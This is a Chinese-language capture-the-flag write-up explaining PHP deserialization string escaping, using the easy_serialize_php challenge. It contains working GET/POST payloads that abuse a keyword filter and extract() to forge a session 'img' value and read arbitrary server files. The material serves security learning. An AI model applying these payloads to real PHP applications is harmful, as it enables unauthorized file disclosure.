PHP在反序列化时,对象中不存在的属性也会进行序列化
<?php
class Test{
public $test;
}
$s = 'O:4:"Test":2:{s:4:"test";s:4:"test";s:5:"test1";s:4:"test";}';
var_dump(unserialize($s));
?>
得到的结果是如图所示
可以看到我们的test1属性是不存在的!但事实上并不影响我们进行序列化操作。
PHP在反序列化时,底层代码是以 ; 作为字段的分隔,,以 } 作为结尾(字符串除外),并根据长度来判断内容。
我们可以将序列化后的代码作为字符串赋值给给一个变量,然后得到结果。
源码
<?php
$s = 'O:4:"Test":2:{s:4:"test";s:4:"test";s:5:"test1";s:4:"test";}';
var_dump(unserialize($s));
?>
返回值
["__PHP_Incomplete_Class_Name"]=>
string(4) "Test"
["test"]=>
string(4) "test"
["test1"]=>
string(4) "test"
}
一般的我们会认为,只要增加或除去字符串中的任意一个字符都会导致反序列化的失败。但事实并非如此,如果将源码的$s给其更改为
'O:4:"Test":2:{s:4:"test";s:4:"test";s:5:"test1";s:4:"test";}i:1;s:5:"aaaaa";';
得到的返回值没发生变化。说明反序列化的过程是有一定的识别范围的,在这个范围之外的字符都会被忽略,不影响夫序列化的正常进行。
但是如果我们修改它的长度,就会发生报错。
<?php
$s = 'O:4:"Test":2:{s:4:"test";s:4:"test";s:4:"test1";s:4:"test";}i:1;s:5:"aaaaa";';
var_dump(unserialize($s));
?>
返回报错!!
例子源码(选自安洵杯easy_serialize_php)
<?php
$_SESSION["user"]='flagflagflagflagflagflag';
$_SESSION["function"]='a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}';
$_SESSION["img"]='L2QwZzNfZmxsbGxsbGFn';
echo serialize($_SESSION);
?>
结果为
a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
假设后台存在一个过滤机制,将包含flag的字符替换为空,那么以上序列化字符串过滤结果为
a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
然后我们可以想一下,如果我们将这字符串反序列化之后会得到什么呢?
array(3) {
["user"]=>
string(24) "";s:8:"function";s:59:"a"
["img"]=>
string(20) "ZDBnM19mMWFnLnBocA=="
["dd"]=>
string(1) "a"
}
看的不明显的话,我将原来的也反序列化一下
array(3) {
["user"]=>
string(24) "flagflagflagflagflagflag"
["function"]=>
string(59) "a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}"
["img"]=>
string(20) "L2QwZzNfZmxsbGxsbGFn"
}
这样一来就很明显了。我们来分析下,关注第二个s所对应的数字,本来由于有6个flag字符所以为24,现在这6个flag都被过滤了,那么它将会尝试向后读取24个字符看是否满足序列化的规则,也即读取 s:8:”function”;s:59:”a” , 读取这24个字符后以;结尾,恰好满足规则,而后第三个s向后读取img的20个字符,第四个、第五个s向后读取均满足规则,所以序列化结果如上所示!!
打开题目得到源码,不长
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
审计的时候看到了一个熟悉的phpinfo所以就将phpinfo传给f得到回显。发现了这个
可以看到auto_append_file设置了php代码执行结束后加载的一个文件,猜测这就是flag了,要用show_image来读它.如果直f=show_image&img_path=d0g3_f1ag.php 的话会被sha1放入$_SESSION
而这里只有b64解码,又看到了extract,想到可以变量覆盖,使我们有机会直接修改_SESSION
再来回头看刚刚session数组。
刚刚过滤掉了flag后写成session数组的形式为
$_SESSION["user"]='";s:8:"function";s:59:"a';
$_SESSION["img"]='ZDBnM19mMWFnLnBocA==';
$_SESSION["dd"]='a';
可以发现sessions数组的键值img对应发生了改变。原来我们是无法控制img的值。但是通过这种方法,就可以间接控制到img的值。由于过滤掉了flag,所以就向后读取,读取的过程中把键值function放到了第一个键值的内容里面,用ZDBnM19mMWFnLnBocA==代替了真正的base64编码。读取d0g3_f1ag.php的值,而识别完成后最后面的 s:3:”img”;s:20:”L2QwZzNfZmxsbGxsbGFn”;} 被忽略掉了,不影响正常的反序列化过程!
经过上面的理解,下面就开始构造payload
首先payload get : f=show_image
post: _SESSION[flagflag]=”;s:3:”aaa”;s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;}
回显得到
<?php
$flag = 'flag in /d0g3_fllllllag';
?>
然后将base64(d0g3_fllllllag)=L2QwZzNfZmxsbGxsbGFn
然后构造payload get:f=show_image
post:
_SESSION[flagflag]=”;s:3:”aaa”;s:3:”img”;s:20:”L2QwZzNfZmxsbGxsbGFn”;}
得到flag!!